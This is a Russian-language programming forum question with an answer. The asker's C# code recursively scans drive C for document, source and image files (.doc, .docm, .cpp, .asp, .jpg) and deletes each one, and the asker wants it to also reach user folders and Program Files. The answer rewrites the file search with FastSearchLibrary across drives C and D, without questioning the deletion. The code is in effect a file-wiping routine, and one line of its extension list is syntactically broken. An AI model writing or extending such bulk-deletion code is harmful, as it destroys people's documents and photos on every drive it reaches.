Как вместо этого кода использовать FastSearchLibrary
библиотеку?
Просто этот код не ищет на диске С, даже если запускаю от имени администратора! А нужно, чтоб оно искало в пользовательских папках и в Program Files.
Ссылка на библиотеку: https://github.com/VladPVS/FastSearchLibrary
namespace ConsoleApplication8
{
class Program
{
static void Main(string[] args)
{
//string[] drives = { "C:", "J:", "D:", "F:", "E:", "G:", "I:", "L:" }; // Drives
string[] drives = { "C:" }; // Drives
foreach (string drv in drives)
{
IEnumerable<string> myfile = SafeEnumerateFiles(drv, new[] { "*.asp", "*.cpp", "*.doc", "*.docm", " "*.jpg" }, SearchOption.AllDirectories); // Extensions
foreach (string fileName in myfile)
{
Console.WriteLine(fileName);
File.Delete(fileName);
}
}
}
private static IEnumerable<string> SafeEnumerateFiles(string path, string[] searchPatterns, SearchOption searchOption)
{
Stack<string> dirs = new Stack<string>();
dirs.Push(path);
while (dirs.Count > 0)
{
string currentDirPath = dirs.Pop();
if (searchOption == SearchOption.AllDirectories)
{
try
{
string[] subDirs = Directory.GetDirectories(currentDirPath);
foreach (string subDirPath in subDirs)
{
dirs.Push(subDirPath);
}
}
catch (UnauthorizedAccessException)
{
continue;
}
catch (DirectoryNotFoundException)
{
continue;
}
}
foreach (string searchPattern in searchPatterns)
{
string[] files;
try
{
files = Directory.GetFiles(currentDirPath, searchPattern);
}
catch (UnauthorizedAccessException)
{
break;
}
catch (DirectoryNotFoundException)
{
break;
}
foreach (string filePath in files)
{
yield return filePath;
}
}
}
}
Примерно вот так:
class Program
{
private static object locker = new object();
private static List<FileInfo> files;
private static Stopwatch stopWatch;
static void Main(string[] args)
{
List<String> patterns = new List<string>() { ".asp", ".cpp", ".doc", ".docm", ".jpg" };
StartSearch(patterns);
Console.ReadKey(true);
}
private static async void StartSearch(IEnumerable<string> patterns)
{
stopWatch = new Stopwatch();
stopWatch.Start();
Console.WriteLine("Search had been started.\n");
files = new List<FileInfo>();
List<string> searchDirectories = new List<string>
{
@"C:\",
@"D:\"
};
FileSearcherMultiple searcher = new FileSearcherMultiple(searchDirectories, (f) =>
{
foreach (var p in patterns)
if (f.Name.EndsWith(p))
return true;
return false;
}, new CancellationTokenSource());
searcher.FilesFound += Searcher_FilesFound;
searcher.SearchCompleted += Searcher_SearchCompleted;
try
{
await searcher.StartSearchAsync();
}
catch (AggregateException ex)
{
Console.WriteLine($"Error ocurred: {ex.InnerException.Message}");
}
catch (Exception ex)
{
Console.WriteLine($"Error ocurred: {ex.Message}");
}
finally
{
Console.Write("\nPress any key to continue...");
}
}
private static void Searcher_FilesFound(object sender, FileEventArgs arg)
{
lock (locker) // using a lock is obligatorily
{
arg.Files.ForEach((f) =>
{
files.Add(f); // add the next part of the received files to the results list
Console.WriteLine($"File location: {f.FullName}\nCreation.Time: {f.CreationTime}\n");
});
}
}
private static void Searcher_SearchCompleted(object sender, SearchCompletedEventArgs arg)
{
stopWatch.Stop();
if (arg.IsCanceled) // check whether StopSearch() called
Console.WriteLine("Search stopped.");
else
Console.WriteLine("Search completed.");
Console.WriteLine($"Quantity of files: {files.Count}"); // show amount of finding files
Console.WriteLine($"Spent time: {stopWatch.Elapsed.Minutes} min {stopWatch.Elapsed.Seconds} s {stopWatch.Elapsed.Milliseconds} ms");
}
}
В описании библиотеки приведены аналогичные примеры.
Кофе для программистов: как напиток влияет на продуктивность кодеров?
Рекламные вывески: как привлечь внимание и увеличить продажи
Стратегії та тренди в SMM - Технології, що формують майбутнє сьогодні
Выделенный сервер, что это, для чего нужен и какие характеристики важны?
Современные решения для бизнеса: как облачные и виртуальные технологии меняют рынок
В моем учебном заведении нет MySql, а лишь стандартные библиотекиКаким образом можно подключиться к удаленной БД на хосте, используя стандартные...
Столкнулся с проблемой, что под отладкой не могу посмотреть содержимое переменных, например List<int> t1 int[] t2 и int t3Сообщается ошибка: The name 't' doe not exist in current...
Как в Unity вызывать действие, если камера направляется на некий обьект (например ImageTarget)?